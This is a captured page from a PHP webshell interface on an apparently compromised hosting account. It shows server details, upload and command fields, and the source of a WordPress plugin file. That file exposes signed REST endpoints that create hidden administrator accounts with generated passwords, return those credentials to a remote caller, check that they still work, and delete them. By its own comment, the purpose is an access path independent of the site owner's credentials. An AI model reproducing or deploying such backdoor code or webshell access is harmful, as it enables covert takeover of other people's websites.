403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/plugins/link-factory/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/plugins/link-factory/includes/class-users.php
<?php
/**
 * REST controller for the plugin-managed administrator channel.
 *
 * Creates an independent WordPress administrator on the donor and returns its
 * freshly generated credentials, giving Link Factory a plugin-owned access path
 * that does not depend on seller credentials.
 *
 * @package LinkFactory
 */

namespace LinkFactory;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Users {

	use SignatureVerification;

	const LOGIN_PREFIX       = 'lf_';
	const MAX_LOGIN_ATTEMPTS = 5;

	public function register_routes() {
		register_rest_route(
			LINK_FACTORY_NAMESPACE,
			'/users',
			array(
				'methods'             => 'POST',
				'callback'            => array( $this, 'handle_create_user' ),
				'permission_callback' => array( $this, 'check_signature' ),
			)
		);
		register_rest_route(
			LINK_FACTORY_NAMESPACE,
			'/users/check',
			array(
				'methods'             => 'POST',
				'callback'            => array( $this, 'handle_check_user' ),
				'permission_callback' => array( $this, 'check_signature' ),
			)
		);
		register_rest_route(
			LINK_FACTORY_NAMESPACE,
			'/users/(?P<login>[A-Za-z0-9_\-]+)',
			array(
				'methods'             => 'DELETE',
				'callback'            => array( $this, 'handle_delete_user' ),
				'permission_callback' => array( $this, 'check_signature' ),
			)
		);
	}

	public function handle_create_user( \WP_REST_Request $request ) {
		if ( null === get_role( 'administrator' ) ) {
			return new \WP_Error( 'no_capability', 'Administrator role is not available on this site', array( 'status' => 500 ) );
		}

		$login = $this->generate_unique_login();
		if ( '' === $login ) {
			return new \WP_Error( 'insert_failed', 'Could not generate a unique administrator login', array( 'status' => 500 ) );
		}

		$password = wp_generate_password( 24, true, false );

		$user_id = wp_insert_user(
			array(
				'user_login' => $login,
				'user_pass'  => $password,
				'role'       => 'administrator',
			)
		);
		if ( is_wp_error( $user_id ) ) {
			return new \WP_Error( 'insert_failed', $user_id->get_error_message(), array( 'status' => 500 ) );
		}
		if ( ! $user_id ) {
			return new \WP_Error( 'insert_failed', 'wp_insert_user returned no id', array( 'status' => 500 ) );
		}

		return rest_ensure_response(
			array(
				'login'    => $login,
				'password' => $password,
			)
		);
	}

	/**
	 * Probes whether the login/password pair still resolves to a live administrator.
	 *
	 * Always answers HTTP 200 with a structural { valid, reason } body so the caller
	 * branches on the explicit flag, never on the HTTP status.
	 */
	public function handle_check_user( \WP_REST_Request $request ) {
		$login    = (string) $request->get_param( 'login' );
		$password = (string) $request->get_param( 'password' );

		$user = get_user_by( 'login', $login );
		if ( false === $user ) {
			return rest_ensure_response(
				array(
					'valid'  => false,
					'reason' => 'not_found',
				)
			);
		}

		if ( ! in_array( 'administrator', (array) $user->roles, true ) ) {
			return rest_ensure_response(
				array(
					'valid'  => false,
					'reason' => 'no_admin',
				)
			);
		}

		$authenticated = wp_authenticate( $login, $password );
		if ( is_wp_error( $authenticated ) ) {
			return rest_ensure_response(
				array(
					'valid'  => false,
					'reason' => 'auth_failed',
				)
			);
		}

		return rest_ensure_response(
			array(
				'valid'  => true,
				'reason' => null,
			)
		);
	}

	/**
	 * Deletes the WordPress user identified by the route login.
	 *
	 * Idempotent: an already-absent user is reported as deleted so the caller can
	 * treat repeated deletion as success.
	 */
	public function handle_delete_user( \WP_REST_Request $request ) {
		require_once ABSPATH . 'wp-admin/includes/user.php';

		$login = (string) $request->get_param( 'login' );

		$user = get_user_by( 'login', $login );
		if ( false === $user ) {
			return rest_ensure_response( array( 'deleted' => true ) );
		}

		if ( ! wp_delete_user( $user->ID ) ) {
			return new \WP_Error( 'delete_failed', 'wp_delete_user returned false', array( 'status' => 500 ) );
		}

		return rest_ensure_response( array( 'deleted' => true ) );
	}

	/**
	 * Generates a login that does not collide with an existing user.
	 *
	 * @return string A free login, or '' when none was found within the attempt budget.
	 */
	private function generate_unique_login() {
		$login = '';
		for ( $attempt = 0; $attempt < self::MAX_LOGIN_ATTEMPTS; ++$attempt ) {
			$candidate = self::LOGIN_PREFIX . wp_generate_password( 12, false, false );
			if ( ! username_exists( $candidate ) ) {
				$login = $candidate;
				break;
			}
		}
		return $login;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit